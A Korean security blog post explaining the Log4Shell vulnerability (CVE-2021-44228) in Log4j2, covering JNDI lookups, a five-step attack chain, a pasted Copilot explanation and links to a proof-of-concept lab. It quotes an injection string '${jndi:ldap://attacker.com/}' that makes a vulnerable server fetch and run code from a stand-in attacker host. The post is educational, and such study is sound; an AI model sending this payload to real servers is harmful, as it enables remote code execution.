앵하니의 더 나은 보안

Log4shell(CVE-2021-44228) 본문

보안 기술/ETC

Log4shell(CVE-2021-44228)

앵한 2024. 6. 23. 18:49

RCE를 수행하는 CVE들을 정리할 기회가 생겨 log4shell 원리에 대해 정리해보려 한다.

우선 log4shell은 log4j2를 사용한 로깅 모듈에서 발생한 제로데이 취약점이다.

 

log4j2에 뭐가 있었길래 RCE라는 어마어마한 취약점이 발생한걸까?

그 답은 JNDI에 있다.

 

log4j2에서는 JNDI를 이용해 자동으로 디렉터리 서비스에 접근,

이름으로 변환하거나 자바 객체를 다운받는 기능을 제공했다.

그리고 그 과정에서 유효성 검증이 진행되지 않아 취약점이 발생했다.

 

한마디로 JNDI 인젝션 때문이라 할 수 있겠다.

JNDI란 클라이언트가 이름을 통해서 데이터와 개체를 검색하고 조회할 수 있도록 하는 Java API이다.
자바에서 다른 디렉터리 서비스 RMI(Remote Method),CORBRA(Common Object Request Broket Architecture), LDAP(Lightweight Directory Access Protocol),DNS(Domain Name Service)에 접근하여 수정하거나,

개체를 불러오는 것을 지원한다.

RCE 원리는 간단한 듯 간단하지 않다.

  1. log4shell 취약점이 존재하는 서버의 데이터를 로깅하는 영역에 ${jndi:ldap://attacker.com/} 형식의 데이터를 전송한다.
  2. 서버는 log4j를 통한 로깅을 수행하다, jndi:를 확인하곤, ldap 프로토콜을 사용해 attacker.com으로 ldap 요청 패킷을 송신한다.
  3. 공격자의 C&C서버 attacker.com에서는 ldap 응답으로 자바 클래스 파일이 존재하는 경로 정보를 보낸다.
  4. 그럼 피해 서버는 자바 클래스 파일이 존재하는 공격자의 서버에서 자바 클래스를 다운로드한 후 해당 클래스 파일을 실행한다.
  5. 그러면 공격자가 의도한 명령이 수행된다.

 

근데 log4j2랑 jndi랑 뭔상관? 이게 왜되는겨? 라고 copliot한테 물어봤더니 돌아오는 답이 기가맥힌다.
Log4j2에서 JNDI는 Java Naming and Directory Interface의 약자로, Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있게 하는 디렉토리 서비스입니다1. JNDI는 여러 가지 서비스 제공자 인터페이스(SPIs)를 가지고 있어 다양한 디렉토리 서비스를 사용할 수 있습니다1.

Log4j2는 로깅 문자열에 특정 데이터를 가져와 삽입하는 기능을 제공합니다. 이 기능은 Log4j2에서 "룩업(Lookup)"이라고 부릅니다2. 예를 들어, "%d {dd MMM yyyy}"는 로그 메시지가 기록된 날짜를 삽입합니다2.

Log4j2의 JNDI 룩업 기능은 이러한 룩업 기능을 확장하여, 로그 메시지에 JNDI 참조가 포함되어 있을 경우, Log4j는 JNDI 기능을 사용하여 LDAP 서버에서 데이터를 요청합니다3. 예를 들어, "$ {jndi:ldap://example.com/file}" 표현식은 LDAP 프로토콜을 통한 룩업을 지정하고, example.com URL에서 데이터를 로드합니다3.

그런데 이러한 기능이 문제가 되는 경우는, 로그 메시지가 신뢰할 수 없는 소스(예: HTTP 요청의 사용자 에이전트)에서 오는 데이터를 신뢰하는 경우입니다4. 이 경우, 공격자는 로그 메시지에 특별히 만든 문자열을 삽입하여 Log4j2가 원격 서버에서 Java 코드를 실행하도록 만들 수 있습니다5. 이것이 바로 Log4Shell 취약점의 핵심입니다5.

따라서, 로깅으로 '$jndi:ldap://...'를 보내면, Log4j2는 이를 JNDI 룩업으로 해석하고, 지정된 LDAP 서버에서 데이터를 요청하게 됩니다3. 그런데 이 LDAP 서버가 공격자가 제어하는 서버라면, Log4j2는 공격자가 제공하는 데이터(즉, 악성 코드)를 로드하게 됩니다3. 이것이 바로 Log4Shell 취약점이 발생하는 원리입니다3.

 

AI가 미래다…

 

시연을 해보고자 한다면 아래 URL을 참고해 시연을 진행하면 된다.

 

[POC] CVE-2021-44228(log4shell) 취약점 POC 실습 (2)

log4j 취약점이 있는 웹 서비스 https://github.com/christophetd/log4shell-vulnerable-app 취약점이 있는 웹 서비스를 구동하기 위해서는 도커가 필요하다.systemctl status docker도커 명령어를 통

velog.io

 

참고

 

[Log4shell] Log4j 취약점 분석

💡 본 포스팅에서는 2021-12-10일에 발견된 log4j 보안 취약점에 대해서 살펴보겠습니다.

kangmyoungseok.github.io

 

'보안 기술 > ETC' 카테고리의 다른 글

딥러닝으로 OTP 추측이 가능할까  (0) 2024.08.14
XZ Utils Backdoor(CVE-2024-3094)  (0) 2024.06.23
(reversing.kr) Easy CrackMe  (2) 2023.11.22
(reversing.kr) Easy Keygen  (2) 2023.11.22
AWS Pentesting tool PACU  (0) 2022.11.10
Comments